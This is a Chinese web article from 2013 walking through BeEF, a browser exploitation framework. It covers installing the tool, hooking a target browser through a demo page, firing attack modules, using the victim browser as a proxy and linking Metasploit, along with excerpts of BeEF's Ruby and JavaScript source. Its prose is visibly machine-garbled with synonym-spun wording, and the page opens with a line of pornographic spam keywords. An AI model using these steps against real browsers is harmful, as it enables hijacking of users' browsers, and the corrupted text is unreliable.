国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 系統(tǒng)安全 >

淺談基于瀏覽器的報(bào)復(fù)打擊框架BeEF

時(shí)間:2013-07-09 10:54來源:TuZhiJiaMi企業(yè)信息安全專家 點(diǎn)擊:
1、BeEF簡介 BeEF是瀏覽器報(bào)復(fù)打擊框架的簡稱,是一款專注于瀏覽器端的滲入測試東西??稍谄涔倬W(wǎng)找到更具體的介紹http://beefproject.com/。 2、安裝BeEF 先下載Beef最新版本 $ svn checkout http://beef.谷
Tags系統(tǒng)安全(735)瀏覽器(56)BeEF(1)  

  1、BeEF簡介

  BeEF是瀏覽器報(bào)復(fù)打擊框架的簡稱,是一款專注于瀏覽器端的滲入測試東西??稍谄涔倬W(wǎng)找到更具體的介紹http://beefproject.com/。

  2、安裝BeEF

  先下載Beef最新版本

  $ svn checkout http://beef.谷歌code.com/svn/track/ beef

  $ ruby install

  選擇第一項(xiàng)主動安裝需要的相干gems便可,也能夠選擇2遵循提示一個(gè)一個(gè)進(jìn)行安裝,安裝完成后便可以直接啟動了

  $ ruby beef -x

  3、利用申明

  3.1 啟動BeEF

  安裝完成后,啟動BeEF

  #./beef

  號令行中顯示的UI URL今后即為WEB接口,用瀏覽器打開,輸進(jìn)默許暗碼beef/beef,便可進(jìn)進(jìn)BeEF治理頁面

  遵循提示,假定此時(shí)方針192.168.11.1的辦事器拜候了這個(gè)demo頁面

  http://192.168.11.152:3000/demos/basic.html。則就被hook上了,以下圖所示

  3.2 實(shí)施報(bào)復(fù)打擊

  HOOK延續(xù)的時(shí)候?yàn)榉怄i測試頁面為止。在此期間,相當(dāng)于被節(jié)制了,可以發(fā)送報(bào)復(fù)打擊號令了。選擇commands欄,可以看到良多已分好類的報(bào)復(fù)打擊模塊。

  此中,4種色彩別離暗示:

  該報(bào)復(fù)打擊模塊可用,且埋沒性強(qiáng)

  該報(bào)復(fù)打擊模塊可用,但埋沒性查

  該用戶模塊是不是可用還有待驗(yàn)證

  該報(bào)復(fù)打擊模塊不成用

  例如,拔取MISC下的Raw JavaScript模塊作為測試用例,右端表格有該模塊的具體申明,和一些可選的參數(shù)等。輸進(jìn)Javascript code,點(diǎn)擊Excute進(jìn)行報(bào)復(fù)打擊,結(jié)果以下圖所示

  3.3 Proxy功能

  選中方針主機(jī),點(diǎn)右鍵,在菜單當(dāng)選中Use as Proxy

  然后再Rider選項(xiàng)卡中的Forge Request 編纂并發(fā)送想要發(fā)送的內(nèi)容

  經(jīng)由過程查看方針瀏覽器firebug記實(shí),可以確信確切發(fā)送了該http,達(dá)到了代辦署理結(jié)果。同時(shí)Rider下的History選項(xiàng)也記實(shí)了發(fā)送汗青記實(shí)

  4、Metasploit組合

  因?yàn)锽eEF默許是不加載metasploit的,要利用Metasploit豐碩的報(bào)復(fù)打擊模塊,需要做些建設(shè)。BT5下,起首到beef目次下點(diǎn)竄/pentest/web/beef/config.yaml文件,將此中的metasploit選項(xiàng)改成enable,以下所示:

  然后查看/pentest/web/beef/extensions/metasploit/config.yaml。查看到此中的pass默覺得abc123,這是與metasploit通信商定的暗碼。轉(zhuǎn)到msf目次 /opt/metasploit/msf3/。新建一個(gè) beef.rc文件,內(nèi)容為

  load msgrpc ServerHost=127.0.0.1 Pass=abc123

  從而實(shí)現(xiàn)與beef的通信。啟動msfconsole,

  #msfconsole –r beef.rc,以下圖所示,順利啟動辦事。

  此刻可以啟動beef了,啟動后,可以看到BEEF加載了204個(gè)metasploit的報(bào)復(fù)打擊模塊

  頁面如圖,此刻可利用metasploit的模塊進(jìn)行報(bào)復(fù)打擊了。

  5、實(shí)現(xiàn)道理

  5.1 簡述

  BEEF 采取ruby說話編寫,其目次布局以下所示:

  除往一些安裝和申明文件,Beef最首要的目次有三個(gè),core、extension和modules。BEEF的核心文件在core目次下,各類擴(kuò)大功能在extension目次下,modules則為報(bào)復(fù)打擊模塊目次。

  5.2 Core

  Core目次是BEEF的核心目次,并負(fù)責(zé)加載extension和module。此中最關(guān)頭的文件位于core\main目次下,其文件布局以下所示:

  Client目次下均為js文件,是在受控客戶端(hooked browser)利用的js文件,包含net、browser、encode、os等的實(shí)現(xiàn),以update.js為例,在core\main\client\update.js中可以看到,定義了beef.updater,設(shè)置每隔5秒check一次是不是有新的號令,假定有,則獲得并履行之。

  Console目次用于號令行節(jié)制

  Constants目次定義了各類常量

  Handlers目次首要用于措置來自受控客戶端連接要求。

  Models 定義了一些根基的類

  Rest目次:即WEB辦事基于REST原則,是一種輕量級的HTTP實(shí)現(xiàn)。 在server.rb中可看到,是經(jīng)由過程mount的情勢將資本與URL相對應(yīng),即它不是一個(gè)簡單的WEB目次辦事,任何需要http辦事的資本,都需要先mount才能利用。

  def mount(url, http_handler_class, args = nil)

  # argument type checking

  raise Exception::TypeError, ‘”url” needs to be a string’ if not url.string?

  if args == nil

  mounts[url] = http_handler_class

  else

  mounts[url] = http_handler_class, *args

  end

  print_debug(“Server: mounted handler ‘#{url}’”)

  end

  ………

  self.mount(“/init”, BeEF::Core::Handlers::BrowserDetails)

  ………

  # Rack mount points

  @rack_app = Rack::URLMap.new(@mounts)

  ………

  # Create the BeEF http server

  @http_server = Thin::Server.new(

  @configuration.get(‘beef.http.host’),

  @configuration.get(‘beef.http.port’),

  @rack_app)

  5.3 extensions

  Extention目次下為各類擴(kuò)大利用

  此中幾個(gè)extension的感化以下:

  Admin_ui: 實(shí)現(xiàn)了一個(gè)WEB界面的節(jié)制后臺。

  Metasploit: 與metasploit互通相干的設(shè)置。

  Requester: 負(fù)責(zé)措置HTTP要求,其文件以下所示:

  此中:

  Extension.rb 是每個(gè)擴(kuò)大必有的文件,是加載該擴(kuò)大的接口文件。

  Config.yaml為作者和該擴(kuò)大相干信息。

  Api.rb為本身注冊的一些API函數(shù)。

  Models定義了一個(gè)http模型對象,例如,此中有個(gè)has_run屬性,當(dāng)要求未發(fā)送時(shí),其值為”waiting”,發(fā)送報(bào)復(fù)打擊時(shí),遍歷狀況為”waiting”的模塊,并發(fā)送http要求。

  Handler.rb 主如果措置http響應(yīng),收到響應(yīng)后將響應(yīng)的模塊has_run狀況置為complete,并保留到數(shù)據(jù)庫。

  5.4 modules

  Modules調(diào)集了BEEF的各個(gè)報(bào)復(fù)打擊模塊,一般一個(gè)報(bào)復(fù)打擊模塊分為3個(gè)文件:command.js、config.yaml、module.rb。如許的布局可以很便利地進(jìn)行模塊添加,易于擴(kuò)大。

  Config.yaml: 報(bào)復(fù)打擊模塊相干信息,如名稱、描述、分類、作者、合用處景等

  Module.rb:文件定義了該報(bào)復(fù)打擊模塊的類,繼續(xù)了BEFF::Core::Command類,在通用command類的根本上定義一些該模塊獨(dú)有的措置函數(shù),如利用較多的一個(gè)函數(shù)是post_execute,即報(bào)復(fù)打擊進(jìn)行掉隊(duì)行的把持(通常是保留成果),以下所示。

  class Browser_fingerprinting

  def post_execute

  content = {}

  content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?

  content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?

  if content.empty?

  content['fail'] = ‘Failed to fingerprint browser.’

  end

  save content

  end

  end

  Command.js: 即為報(bào)復(fù)打擊代碼,報(bào)復(fù)打擊時(shí)讀取此js并發(fā)送給受控客戶端。以detect_firebug模塊的command.js為例,代碼以下所示:

  beef.execute(function() {

  var result = “Not in use or not installed”;

  if (window.console &&(window.console.firebug || window.console.exception)) result = “Enabled and in use!”;

  beef.net.send(“”, , “firebug=”+result);

  });

  代碼很簡單,在受控客戶端履行獲得成果以后,將成果返回給server端。Beef.net在core/main/client目次下定義。

  在 Core目次下的Command.rb中,可以看到加載過程,起首鑒定該報(bào)復(fù)打擊模塊的command.js是不是存在,如存在,就讀取到@eruby,可能還需要進(jìn)行參數(shù)替代,所以需要進(jìn)行evaluate把持。

  def output

  f = @path+’command.js’

  (print_error “#{f} file does not exist”;return) if not File.exists? f

  command = BeEF::Core::Models::Command.first(:id => @command_id)

  @eruby = Erubis::FastEruby.new(File.read(f))

  data = BeEF::Core::Configuration.instance.get(“beef.module.#{@key}”)

  cc = BeEF::Core::CommandContext.new

  cc['command_url'] = @default_command_url

  cc['command_id'] = @command_id

  JSON.parse(command['data']).each{|v|

  cc[v['name']] = v['value']

  }

  if self.respond_to?(:execute)

  self.execute

  end

  @output = @eruby.evaluate(cc)

  @output

  end

------分隔線----------------------------

推薦內(nèi)容